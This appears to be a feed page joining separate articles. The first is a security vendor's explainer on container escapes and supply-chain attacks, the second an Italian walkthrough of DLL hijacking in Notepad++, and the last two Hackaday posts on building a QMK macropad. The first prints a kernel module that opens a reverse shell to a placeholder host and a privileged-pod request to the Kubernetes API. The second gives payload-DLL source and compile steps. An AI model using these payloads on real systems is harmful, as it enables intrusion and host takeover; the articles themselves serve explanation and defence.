Containers on fire: from container escapes to supply chain attacks


The media in this post is not displayed to visitors. To view it, please log in.


Introduction


Modern infrastructures universally rely on containerization to deploy applications, scale services, and build cloud platforms. The use of Docker, Kubernetes, and similar technologies has become the corporate standard for efficient automation. However, as containers grow in popularity, so does the interest of malicious actors — a trend we actively track in our research into advanced cyberthreats. For instance, in one of its recent attacks, the APT group TeamPCP compromised Checkmarx KICS across multiple attack chains for different vectors. This included poisoning a Docker Hub repository to later steal Kubernetes secrets and other sensitive data. The tainted images distributed a stealer that was loaded during the KICS scanning process.

Today, attacks on container environments have evolved into full-fledged, multi-stage scenarios involving supply chain compromises, Kubernetes secrets theft, orchestration API abuse, and container escape attempts. This article examines the primary container attack vectors that retain top relevance today.

Principles of containerization


A container is an isolated code execution environment, designed to partition resources so applications can run correctly and independently. Unlike a virtual machine, a container uses the single underlying kernel of the host operating system.

To isolate the environment, a container uses a distinct process namespace and a virtual file system. Container resources are capped and shared with the host system. This container isolation is built on top of Linux kernel features such as namespaces, cgroups, capabilities, and seccomp.

Compromising a container can help attackers achieve their objectives on the host system itself. Below, we examine the current vectors relevant to container implementation architecture and infrastructure.

Current attack vectors


The primary and most critical attack vectors targeting container environments that are actively exploited by malicious actors include:

  • Exploiting vulnerabilities in the host system and container runtime components
  • Malicious activity inside a compromised container
  • Container escape followed by host compromise
  • Exploiting misconfigurations and the insecure use of containerization and orchestration APIs
  • Supply chain attacks, including container image poisoning and CI/CD pipeline compromise

Each of these vectors can be utilized either independently or as part of a complex, multi-stage attack chain. In practice, attackers rarely stop at compromising a single container; their primary objective is often to gain access to the Kubernetes cluster, secrets management systems, or other mission-critical environment components. This is why securing container infrastructure requires a comprehensive approach that spans configuration auditing, runtime protection, activity monitoring, and software supply chain security. Let’s take a closer look at each of these vectors.

Exploiting host system vulnerabilities


Because a container does not have its own isolated OS, vulnerabilities affecting the Linux kernel or runtime components remain just as critical when exploited from within a container.

Any vulnerability that allows for privilege escalation, arbitrary code execution, or isolation bypassing can potentially be leveraged by an attacker once the container is compromised. Successful exploitation of these flaws can lead to a container escape, compromise of the Kubernetes node or the entire cluster, lateral movement across the infrastructure, secrets theft, and malicious actions potentially culminating in a complete service disruption. It is worth noting that the mere presence of a vulnerability does not always guarantee a compromise, as exploitation sometimes requires specific configuration settings or privileges to work.

Below are examples of several vulnerabilities leveraged in attacks on container environments:

  • CVE-2019-5736 is one of the most prominent and illustrative vulnerabilities associated with containerization. It affected the runC runtime environment and allowed an attacker, who already had root access inside the container, to execute arbitrary code on the host system with root privileges. The root cause of the vulnerability was runC’s improper handling of the file descriptor for its own executable via the /proc/self/exe mechanism. When a container was started, the runC process temporarily executed within the container’s context while remaining a host system process. This allowed an attacker to gain access to the runC binary and overwrite its contents.
  • CVE-2022-0492 is a critical Linux kernel vulnerability that allows for container escape and arbitrary command execution on the host system. The flaw stemmed from improper privilege validation when interacting with the cgroups release_agent mechanism. This vulnerability posed a particular risk for container infrastructures because it allowed an attacker who already possessed code execution capabilities inside a container to break out of isolation and gain control of the host system.
  • CVE-2024-21626 is a critical vulnerability in runC that allowed an attacker to access the host file system from within a container, and in specific scenarios, even perform a complete container escape. The root cause of the issue was runC’s improper handling of file descriptors and the process’ current working directory when spinning up containers or executing commands via docker exec or similar mechanisms.


Malicious actions inside the container


Sometimes, an attacker does not need to exploit complex attack chains involving container escapes, Kubernetes cluster compromise, or lateral movement to achieve their goals. In many cases, the container itself already houses data and resources that are highly valuable to the attacker. For example, a container may contain:

  • User and service credentials
  • API keys
  • Access tokens
  • SSH keys
  • Environment variables containing secrets
  • Kubernetes ServiceAccount tokens
  • Configuration files
  • Application service data or databases

These types of data are especially prone to exposure due to configuration mistakes or specific operational processes. For instance, secrets might be passed via environment variables, baked into Docker images during the build phase, or mounted directly inside the container. In Kubernetes environments, automatically mounted ServiceAccount tokens are of particular interest to attackers, as they provide a direct pathway to interact with the Kubernetes API.

Even a single compromised container frequently provides an attacker with sufficient leverage for next steps: gaining access to external services, compromising cloud infrastructure, stealing user data, impersonating a trusted service, or establishing persistence within the environment. Beyond data theft, malicious actors can use a compromised container as a staging ground for further malicious activity. This is why securing container infrastructure is about much more than just preventing escapes. Even a fully isolated container, if it houses sensitive data or holds access to internal services, can become a major foothold for an infrastructure breach.

In the context of this vector, approaches and techniques applicable not only to container environments but also to traditional systems are frequently applied. Once an attacker gains access to a container, they usually find themselves in a full-featured Linux environment, allowing them to deploy standard post-exploitation, reconnaissance, and persistence methods.

We explored container configuration errors and other unsafe practices that attackers could exploit to carry out malicious activities in more detail in this article.

Container escape


Container escape is one of the most dangerous and prevalent attack vectors targeting container infrastructure. The term refers to the bypassing of container isolation, allowing an attacker to directly interact with the host system.

The opportunity to escape a container can arise from a multitude of sources: the exploitation of vulnerabilities, container misconfigurations, or the insecure use of containerization and orchestration APIs. Indeed, container escape is the logical conclusion of most attacks on container infrastructure, as the attacker’s ultimate goal is frequently to break out of the isolated environment and gain access to the host system or the broader Kubernetes cluster. As such, container escape ties together a significant portion of the attack vectors discussed in this article. In practice, misconfigurations remain one of the most common root causes of successful container escapes, as they occur far more frequently than the exploitation of complex vulnerabilities. With that in mind, we will take a closer look at container misconfigurations and their associated attack scenarios below.

To better understand the risks associated with container misconfigurations, let’s explore the concept of capabilities in Linux systems. This is a mechanism for granularly granting extended permissions to processes, allowing them to perform privileged actions without needing full root access.

Privileged containers


One of the most dangerous configurations is running a container with the --privileged flag. In this mode, the container is granted all Linux capabilities, direct access to host devices, and the ability to interact with kernel interfaces. A container configured this way virtually ceases to be an isolated environment and, in many cases, possesses capabilities comparable to root access on the host system.

Let’s look at a basic example of a container escape attack involving the --privileged flag. Using the capsh utility, you can see that such a container possesses virtually all Linux capabilities. Furthermore, if the PID namespace matches the host’s, the process with PID=1 corresponds to init, the first system process in Linux. In a different configuration, PID 1 would belong to the process that created the container. If we spawn a shell from the init process using the nsenter utility, the expected behavior is the creation of a process outside the container, which can easily be verified by using the hostname command.


Container privilege misconfigurations open up a broad attack surface. Let’s dive deeper into how specific capabilities can be used to execute a container escape.

CAP_SYS_ADMIN


CAP_SYS_ADMIN is considered one of the most dangerous Linux capabilities in the context of container security. Although Linux capabilities were originally intended to break down superuser privileges into discrete categories, over time, CAP_SYS_ADMIN became a catch-all for a massive number of sensitive kernel operations. As a result, a container granted this capability gains access to a wide array of system mechanisms that directly impact container isolation. It inherits the ability to mount file systems, interact with the cgroups mechanism responsible for resource allocation, modify kernel parameters within certain limits, work with loop devices, and utilize various namespace management features. In practice, this heavily blurs the line between the container and the host system.

This capability becomes especially dangerous when combined with other configuration errors. For instance, if the container is configured to use the hostPath parameter, an attacker can leverage a container compromise to mount the host system’s directories right into their own environment and access critical host files. Similarly, having access to /proc or /sys allows for direct interaction with internal Linux kernel mechanisms, which can drastically expand the blast radius of the breach.

Let’s look at a clear example of how having CAP_SYS_ADMIN can help an attacker escape a container. Illustrated below is the sequence of actions inside a container possessing CAP_SYS_ADMIN privileges and access to host directories. By mounting the host’s disk to a folder inside the container, the attacker can freely interact with all files on the host system. In this specific example, it shows the ability to overwrite the root user’s shell configuration by injecting an arbitrary malicious payload.


CAP_SYS_MODULE


CAP_SYS_MODULE provides direct access to the kernel module loading and unloading mechanism. This direct interaction with kernel space makes CAP_SYS_MODULE a high-risk capability, unlike many other capabilities that are restricted purely to user space.

From a Linux architectural standpoint, kernel modules consist of code executing with maximum privileges inside kernel space. These modules can extend system functionality, manage devices, handle the network stack, interface with file systems, and control other mission-critical components. This is why the ability to dynamically load these modules via CAP_SYS_MODULE equates to having the power to manipulate the behavior of the entire operating system.

In practice, modern containerized applications rarely require CAP_SYS_MODULE. The presence of this capability is typically tied to legacy architectures, monitoring systems, or specialized drivers that must interact directly with the kernel. This is why CAP_SYS_MODULE is almost universally banned in modern infrastructures. In most environments, it is considered an unacceptable risk because its compromise does not just lead to localized privilege escalation within the container, but to code execution directly in kernel space.

A container escape using this capability happens in several stages. The goal of the attack in this case is to load a malicious Linux kernel module. It is worth noting that the module must match the specific kernel version in use, requiring the attacker to perform additional reconnaissance to identify it. These attacks can be executed entirely within the container if it contains the necessary build tools to compile the module and has access to kernel dependency directories. However, because these utilities are typically stripped from container images, attackers usually compile the malicious payload with the required dependencies on an external host. They then either transfer it over the network or drop it into a binary file on the target by using a command like echo.

Let’s look at a container escape using a kernel module with the following payload example:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("Test");
MODULE_AUTHOR("Test");
MODULE_DESCRIPTION("reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/<IP>/<Port> 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Upon loading, this module triggers the reverse shell. Once the payload is built and successfully delivered to the container, all the attacker needs to do is start a listener on the IP address and port specified in the payload, and then load the module into kernel space.


CAP_SYS_PTRACE


The CAP_SYS_PTRACE capability grants a process elevated permissions to interact with other system processes via the ptrace system call. While it is designed for debugging and code tracing, its misconfiguration in containerized environments can severely weaken isolation and, under certain conditions, enable a container escape leading to host system compromise.

The primary risk of CAP_SYS_PTRACE is that it allows a process to read and modify the memory of other processes, control their execution, inject code, and extract sensitive data directly from memory. Furthermore, CAP_SYS_PTRACE enables process injection techniques.

If a container is compromised, an attacker can use ptrace to attach to host processes. Crucially, this is only possible if the host’s PID namespace is shared with the container — this is configured via hostPID: true. This configuration allows the attacker to target a process running on the host, inject code, and trigger a reverse shell — though in most cases, this requires additional malicious code. The image below demonstrates this kind of an attack, implemented using a publicly available PoC.


CAP_NET_ADMIN


CAP_NET_ADMIN provides extensive privileges to manage the network stack of a Linux system. If a container is compromised, the presence of this capability significantly weakens network isolation and creates additional opportunities for further exploitation.

A container equipped with CAP_NET_ADMIN can modify network interface configurations, manipulate routing tables, interact with traffic filtering mechanisms, and alter the behavior of the network stack. Although most of these operations are formally restricted to the container’s own network namespace, in practice, this capability is frequently combined with other misconfigurations — such as the hostNetwork: true parameter — which grants direct access to the host’s network resources.

Once inside the container, an attacker can leverage this capability to modify its network behavior and launch further attacks across the infrastructure. One of the most common scenarios involves manipulating iptables rules to redirect traffic. This enables man-in-the-middle (MitM) attacks, allowing the attacker to intercept internal traffic or mask their own malicious activities.

It is important to emphasize that there are many other Linux capabilities that can lead to a container escape when combined with specific misconfigurations; we have highlighted only a few of the most severe and frequently encountered.

Exploitation of orchestration APIs


One of the most dangerous and common attack vectors in containerized infrastructure is the exploitation of misconfigured container management and orchestration APIs. Unlike attacks that require complex kernel vulnerability exploits or container escape, this scenario is often remarkably straightforward: the attacker simply needs to gain access to the control interfaces of the container environment.

The fundamental risk stems from the fact that container platform APIs possess inherent administrative privileges over the entire infrastructure. The Docker API, Kubernetes API, and kubelet API are designed to spin up containers, modify configurations, access host file systems, and execute commands inside running containers. When misconfigured, these interfaces immediately become a point of failure for the entire environment.

One of the most notorious examples of this vector is an exposed Docker API. If the Docker daemon is accessible over TCP without TLS or authentication, an attacker can remotely interact with the host system with permissions equivalent to a local administrator. They can deploy new containers custom-configured for attacks, mount the host’s entire root file system, and execute arbitrary commands within any container via the API. In practice, compromising an unauthenticated Docker API typically leads to a complete host takeover after just a few API requests.

Similar risks exist within Kubernetes environments. The Kubernetes API server acts as the central control point for the entire cluster. If an attacker manages to compromise a ServiceAccount token, exploit weak RBAC policies, or discover an inadvertently exposed API server, they can execute a broad spectrum of destructive operations.

For the sake of this attack example, let us assume that an attacker has compromised a Kubernetes API token for a privileged account. First, they enumerate the token’s permissions, typically by running a script to query each individual capability. This gives them a full list of Kubernetes privileges.

The script’s output reveals that the compromised API token grants exceptionally high privileges within the cluster. The logical next step in the attack chain is to deploy a malicious, privileged container to execute any of the host escape techniques described above. In our example, the attacker used a curl POST request to the API to create the container:
curl -k -X POST https://<kubernetes-url>/api/v1/namespaces/default/pods -H "Authorization: Bearer <Token>" -H "Content-Type: application/json" -d @pod.json

The configuration passed in the pod.json file is explicitly designed to enable an escape:

{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "privileged-pod-from-api"
},
"spec": {
"containers": [
{
"name": "debug-container",
"image": "ubuntu:latest",
"command": ["sleep", "3600"],
"securityContext": {
"privileged": true
}
}
]
}
}

Once the privileged container is deployed, the attacker can execute an escape to compromise the underlying host system.

However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.

To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.


Supply chain attacks


Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.

One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.

Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.

Takeaways


Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.

Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.


securelist.com/container-attac…

Notepad++ sotto attacco! Come una DLL fasulla apre la porta ai criminal hacker


Nel mese di Settembre è uscita una nuova vulnerabilità che riguarda Notepad++. La vulnerabilità è stata identificata con la CVE-2025-56383 i dettagli possono essere consultati nel sito del NIST. La vulnerabilità CVE-2025-56383 è un caso di DLL Hijacking che interessa l’editor di testo Notepad++ v8.8.3 e potenzialmente versioni successive.

Sfruttando questa debolezza, un utente malintenzionato può ingannare l’applicazione per fargli caricare una DLL dannosa che ha lo stesso nome di una libreria legittima richiesta dal programma (un esempio comune riguarda i file DLL nella cartella dei plugin).

Se l’attacco riesce, il codice malevolo viene eseguito con gli stessi permessi dell’utente che sta utilizzando Notepad++, consentendo l’esecuzione di codice arbitrario sul sistema target.

Tuttavia, è fondamentale notare che questa CVE è stata etichettata come contestata (“Disputed”) da diverse fonti.

Ciò accade perché l’attacco è effettivamente possibile solo se l’utente ha installato Notepad++ in una directory che, per errore o cattiva configurazione, consente l’accesso in scrittura a utenti non privilegiati.

Nelle installazioni standard di Windows, un utente normale non dovrebbe avere i permessi per modificare i file nella cartella di installazione del programma, il che ridimensiona il problema da una vulnerabilità intrinseca del software a un rischio derivante da una configurazione del sistema operativo non sicura.

E’ stato rilasciato un poc che dimostra con alcuni screen come è possibile in notepad++ eseguire DLL Hijacking della libreria NppExport.dll visibile nel link sottoastante.

La tecnica del DLL Hijacking (letteralmente “dirottamento di DLL”) è un metodo di attacco che sfrutta il modo in cui il sistema operativo Windows cerca e carica le librerie di collegamento dinamico (Dynamic Link Libraries o DLL) necessarie a un’applicazione per funzionare.

In sostanza, un aggressore induce un’applicazione legittima a caricare ed eseguire una DLL malevola al posto della DLL originale e attesa.

La DLL Hijacking è simile alla DLL Injection ma se ne distingue per il meccanismo: la DLL Injection è una tecnica generica che forza un processo in esecuzione a caricare una DLL arbitraria (spesso dannosa) direttamente in memoria, mentre il DLL Hijacking sfrutta un’errata gestione del percorso di ricerca di una DLL esistente o mancante per far caricare la versione malevola al suo posto.

Analizziamo cosa di intende per DLL Hijacking e testiamo direttamente su Notepad++

Tipi Comuni di DLL Hijacking


Ci sono diverse varianti di questa tecnica:

DLL Search Order Hijacking (Dirottamento dell’ordine di ricerca DLL): sfrutta l’ordine predefinito di ricerca di Windows. L’aggressore inserisce la DLL in una cartella con precedenza (ad esempio, la stessa cartella dell’eseguibile dell’applicazione).

DLL Side-Loading (Caricamento laterale di DLL): Una forma molto comune. L’aggressore copia un eseguibile legittimo e affidabile (ad esempio, un programma firmato digitalmente) e la sua DLL malevola (con il nome della DLL attesa) in una cartella esterna, spesso accessibile all’utente. Il codice malevolo viene eseguito sotto il contesto di un processo affidabile, eludendo i controlli di sicurezza basati sull’integrità o sulla lista bianca degli eseguibili.

DLL Substitution (Sostituzione di DLL): Un approccio più aggressivo e diretto dove l’aggressore bypassa l’ordine di ricerca per sovrascrivere la DLL originale e legittima con un file malevolo nello stesso identico percorso.

Phantom DLL Hijacking (Dirottamento della DLL fantasma): sfrutta un’applicazione che tenta di caricare una DLL che non esiste affatto sul sistema (magari per un errore di programmazione o una dipendenza non necessaria). L’aggressore piazza la DLL malevola con il nome del file mancante, forzando il caricamento.

Come un applicazione carica un DLL?


Quando un’applicazione deve caricare una DLL e non ne specifica il percorso completo e assoluto, Windows inizia una ricerca in una serie di directory predefinite e in un ordine specifico.

L’ordine di ricerca per le DLL (che può variare leggermente a seconda delle API di caricamento e delle configurazioni di sistema) solitamente include:

  • La directory da cui viene caricata l’applicazione (la sua cartella).
  • La directory di sistema (%SystemRoot%\System32).
  • La directory di Windows (%SystemRoot%).
  • La directory corrente di lavoro.
  • Le directory elencate nella variabile d’ambiente PATH.

Per cui un aggressore sfrutta questa sequenza per piazzare una DLL malevola (con lo stesso nome della DLL legittima mancante, attesa oppure sostituendola) in una delle directory che Windows controlla prima della posizione della DLL vera.

Quando l’applicazione viene avviata, Windows trova e carica la DLL malevola prima di raggiungere la posizione della DLL legittima (oppure caricando la ddl diversa se è stata sostituita).

Il codice malevolo all’interno di questa DLL viene quindi eseguito, spesso con gli stessi privilegi dell’applicazione che l’ha caricata.

Obiettivi dell’Attacco


Questa tecnica è popolare tra gli aggressori perché consente di:

Esecuzione Stealthy (Furtiva): Il codice malevolo viene eseguito all’interno del processo di un’applicazione legittima (spesso anche firmata), rendendolo difficile da rilevare dai tradizionali sistemi antivirus o di monitoraggio.

Persistenza: Una volta piazzata, la DLL malevola può garantire che il codice dell’aggressore venga ri-eseguito ogni volta che l’applicazione legittima viene avviata.

Escalation dei Privilegi: Se l’applicazione legittima viene eseguita con privilegi elevati (ad esempio, come SYSTEM), anche il codice malevolo erediterà quegli stessi privilegi.

Esempio di DLL Hijacking substitution


Questo esempio è molto semplice e utilizzaremo Notepad++ per analizzare questo metodo di attacco.

Andremo a sostituire la libreria originale con una contenente solo un payload che farà avviare la calcolatrice.

In questo caso usiamo lo script sottostante per generare una nuova DLL dove nel MAIN è presente un payload che verrà avviato.
#include <processthreadsapi.h>
#include <memoryapi.h>

void Payload()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

char cmd[] = "calc.exe";

ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Quindi compiliamo la libreria usando mingw32-gcc.

x86_64-w64-mingw32-gcc -shared -o NppExport.dll version.c

Dopo aver sostituito NppExport.dll e avviato l’applicazione la calcolatrice viene aperta.

Sfortunatamente l’applicazione rileva che qualcosa legato alla libreria e restituisce un errore.

Il motivo è molto semplice, questa non contiene gli export originali, per cui c’è un controllo che avvisa di questo, ostacolo che vedremo come superare nel passo successivo.

Nonostante questo errore Notepad++ prosegue la sua normale esecuzione.

E’ da considerare che in altri casi questa sostituzione potrebbe dare un errore critico e fermare l’esecuzione dell’applicazione, in quanto contenente funzioni essenziali per applicazione stessa.

Esempio tramite tramite proxy DLL


Nell’esempio precedente è stato visto come compilare una nuova libreria e sostituire a una originale al fine che app esegua del contenuto malevolo. Questa sostituzione però causare il crash dell’applicazione o errori vari.

Per cui vediamo una tecnica di DLL hijacking tramite proxy. Il DLL Hijacking by Proxying (dirottamento di DLL tramite proxy) è una tecnica avanzata di cyberattacco che permette all’aggressore di eseguire codice malevolo all’interno di un’applicazione legittima senza causare il crash o l’interruzione del programma.

Il concetto è molto semplice.

  1. L’aggressore rinomina la DLL originale (es. libreria.dll in libreria_orig.dll). Successivamente, piazza la sua DLL malevola nella posizione prioritaria, chiamandola con il nome originale (libreria.dll).
  2. L’applicazione app.exe una volta avviata chiede al sistema operativo di caricare legit.dll.
  3. Il S.O. segue l’ordine di ricerca e trova per prima la DLL Malevola (libreria.dll). Quindi carica la DLL malevola nella memoria del processo app.exe.
  4. Il codice d’attacco (il payload dannoso) viene eseguito immediatamente (ad esempio, all’interno della funzione DllMain).
  5. La DLL malevola carica la DLL legittima rinominata (libreria_legit.dll) e la usa come proxy. Tutte le richieste di funzione successive provenienti da app.exe vengono inoltrate alla DLL originale (libreria_legit.dll).
  6. L’applicazione riceve le risposte corrette dalla DLL originale tramite il proxy e continua a funzionare normalmente. L’utente non si accorge del dirottamento.

Qui uno schema semplificato del procedimento:

Analizziamo nella pratica cosa consiste questo attacco, prendiamo per comodità una repo esistente che contiene tutto quello che ci serve a questo scopo.

github.com/tothi/dll-hijack-by…

Cloniamo il progetto.

All’interno è presente una libreria base (che abbiamo usato nell’esempio precedente) per esecuzione di un payload una volta che questa viene caricata nell’app.

Preleviamo la DDL da eseguire Hijacking, in questo caso NPPExport.dll che è stata rinominata.

Generaimo attraverso li scoript deng_def.py il file version.def file contenente i reindirizzamenti di esportazione tramite lo script Python

Il file .def contiene una sezione chiamata EXPORTS che elenca tutte le funzioni che la DLL deve esporre, in modo da poterle reindirizzare alla DLL legittima originale.

Già da qui è possibile vedere che vari nomi di funzioni vengono reindirizzati a NppExport_orig.dll.

Per finire compiliamo la libreria attraverso mingw-w64:

Le opzioni di compilazione sono simili al primo esempio, ma in questo andiamo ad aggiungere le definizioni degli export aggiuntivi che questa libreria ha bisogno (version.def)

  • -shared: dice al compilatore di creare una libreria a collegamento dinamico (una DLL su Windows) invece di un eseguibile standard (.exe).
  • -o NppExport.dll: Specifica il nome del file di output.
  • version.def: specifica un file di definizione del modulo (Module Definition File) spiegato in precedenza.
  • ./dll-hijack-by-proxying/version.c: Questo è il file sorgente C che farà aprire la calcolatrice una volta caricata la libreria.

Ora posizioniamo la nuova libreria di fianco a quella originale modificata

NppExport.dll esegiurà il proxy di tutte le chiamate alle funzioni esportate nel file legittimo NppExport_orig.dll evitando che applicazioni segnali malfunzionamenti.

Se eseguiamo il software non verrà dato nessun errore e il codice malevolo eseguito correttamente.

L'articolo Notepad++ sotto attacco! Come una DLL fasulla apre la porta ai criminal hacker proviene da Red Hot Cyber.

Debugging the Instant Macropad


Last time, I showed you how to throw together a few modules and make a working macropad that could act like a keyboard or a mouse. My prototype was very simple, so there wasn’t much to debug. But what happens if you want to do something more complex? In this installment, I’ll show you how to add the obligatory blinking LED and, just to make it interesting, a custom macro key.

There is a way to print data from the keyboard, through the USB port, and into a program that knows how to listen for it. There are a few choices, but the qmk software can do it if you run it with the console argument.

The Plan


In theory, it is fairly easy to just add the console feature to the keyboard.json file:
{
...
"features": {
"mousekey": true,
"extrakey": true,
"nkro": false,
"bootmagic": false,
"console": true
},
...

That allows the console to attach, but now you have to print.

Output


The code in a keyboard might be tight, depending on the processor and what else it is doing. So a full-blown printf is a bit prohibitive. However, the system provides you with four output calls: uprint,uprintf, dprint, and dprintf.

The “u” calls will always output something. The difference is that the normal print version takes a fixed string while the printf version allows some printf-style formatting. The “d” calls are the same, but they only work if you have debugging turned on. You can turn on debugging at compile time, or you can trigger it with, for example, a special key press.

To view the print output, just run:
qmk console
Note that printing during initialization may not always be visible. You can store things in static variables and print them later, if that helps.

Macros


You can define your own keycodes in keymap.c. You simply have to start them at SAFE_RANGE:
enum custom_keycodes {
SS_STRING = SAFE_RANGE
};

You can then “catch” those keys in a process_record_user function, as you’ll see shortly. What you do is up to you. For example, you could play a sound, turn on some I/O, or anything else you want. You do need to make a return value to tell qmk you handled the key.

An Example


In the same Git repo, I created a branch rp2040_led. My goal was to simply flash the onboard LED annoyingly. However, I also wanted to print some things over the console.

Turning on the console is simple enough. I also added a #define for USER_LED at the end of config.h (GP25 is the onboard LED).

A quick read of the documentation will tell you the calls you can use to manipulate GPIO. In this case, we only needed gpio_set_pin_output and the gpio_write_pin* functions.

I also sprinkled a few print functions in. In general, you provide override functions in your code for things you want to do. In this case, I set up the LED in keyboard_post_init_user. Then, at first, I use a timer and the user part of the matrix scan to periodically execute.

Notice that even though the keyboard doesn’t use scanning, the firmware still “scans” it, and so your hook gets a call periodically. Since I’m not really using scanning, this works, but if you were trying to do this with a real matrix keyboard, it would be smarter to use housekeeping_task_user(void) which avoids interfering with the scan timing, so I changed to that.

Here’s most of the code in keymap.c:
#include QMK_KEYBOARD_H
enum custom_keycodes {
SS_STRING = SAFE_RANGE
};
const uint16_t PROGMEM keymaps[][MATRIX_ROWS][MATRIX_COLS] = {
[0] = LAYOUT(
// 4 buttons
KC_KB_VOLUME_UP, KC_KB_MUTE, KC_KB_VOLUME_DOWN, SS_STRING,
// Mouse
QK_MOUSE_CURSOR_UP, QK_MOUSE_CURSOR_DOWN, QK_MOUSE_CURSOR_LEFT, QK_MOUSE_CURSOR_RIGHT, QK_MOUSE_BUTTON_1),
};

void keyboard_pre_init_user(void) {
// code that runs very early in the keyboard initialization
}

void keyboard_post_init_user(void) {
// code that runs after the keyboard has been initialized
gpio_set_pin_output(USER_LED);
gpio_write_pin_high(USER_LED);
uprint("init\n");
}

#if 1 // in case you want to turn off that $<em>$</em># blinking
void housekeeping_task_user(void) {
static uint32_t last;
static bool on;
uint32_t now = timer_read32();
uprintf("scan tick %lu\n",now);
if (TIMER_DIFF_32(now, last) > 500) { // toggle every 500 ms
last = now;
on = !on;
if (on)
gpio_write_pin_high(USER_LED);
else
gpio_write_pin_low(USER_LED);
}
}
#endif

bool process_record_user(uint16_t keycode, keyrecord_t *record) {
switch (keycode) {
case SS_STRING:
if (record->event.pressed) {
SEND_STRING("http://www.hackaday.com\n");
}
return false;
}
return true;
}

You’ll notice the process_record_user function is now in there. It sees every keycode an when it finds the custom keycode, it sends out your favorite website’s URL.

More Tips


I mentioned last time that you have to let the CPU finish loading even after the flash utility says you are done. There are some other tips that can help you track down problems. For one thing, the compile script is pretty lax about your json. So you may have an error in your json file that is stopping things from working, but it won’t warn you. You can use jq to validate your json:
jq . keyboard.json
Another thing to do is use the “lint” feature of qmx. Just replace the compile or flash command with lint, and it will do some basic checks to see if there are any errors. It does require a few arbitrary things like a license header in some files, but for the most part, it catches real errors.

Get Started!


What are you waiting for? Now you can build that monster keyboard you’ve dreamed up. Or the tiny one. Whatever. You might want to read more about the RP2040 support, unless you are going to use a different CPU. Don’t forget the entire directory is full of example keyboards you can — ahem — borrow from.

You might think there’s not much you can do with a keyboard, but there are many strange and wonderful features in the firmware. You can let your keyboard autocorrect your common misspellings, for example. Or interpret keys differently when you hold them versus tapping them. Want a key that inserts the current time and date? Code it. If you want an example of getting the LCD to work, check out the rp2040-disp branch.

One thing interesting about qmk, too, is that many commercial keyboards use it or, at least, claim to use it. After all, it is tempting to have the firmware ready to go. However, sometimes you get a new keyboard and the vendor hasn’t released the source code yet, so if that’s your plan, you should find the source code before you plunk down your money!

You’ll find plenty of support for lighting, of course. But there are also strange key combinations, layers, and even methods for doing stenography. There’s only one problem. Once you start using qmk there is a real chance you may start tearing up your existing keyboards. You have been warned.


hackaday.com/2025/08/25/debugg…

Instant Macropad: Just Add QMK


The media in this post is not displayed to visitors. To view it, please log in.

I recently picked up one of those cheap macropads (and wrote about it, of course). It is surprisingly handy and quite inexpensive. But I felt bad about buying it. Something like that should be easy to build yourself. People build keyboards all the time now, and with a small number of keys, you don’t even have to scan a matrix. Just use an I/O pin per switch.

The macropad had some wacky software on it that, luckily, people have replaced with open-source alternatives. But if I were going to roll my own, it would be smart to use something like QMK, just like a big keyboard. But that made me wonder, how much trouble it would be to set up QMK for a simple project. Spoiler: It was pretty easy.

The Hardware

Simple badge or prototype macropad? Why not both?
Since I just wanted to experiment, I was tempted to jam some switches in a breadboard along with a Raspberry Pi Pico. But then I remembered the “simple badge” project I had up on a nearby shelf. It is simplicity itself: an RP2040-Plus (you could just use a regular Pi Pico) and a small add-on board with a switch “joystick,” four buttons, and a small display. You don’t really need the Plus for this project since, unlike the badge, it doesn’t need a battery. The USB cable will power the device and carry keyboard (or even mouse) commands back to the computer.

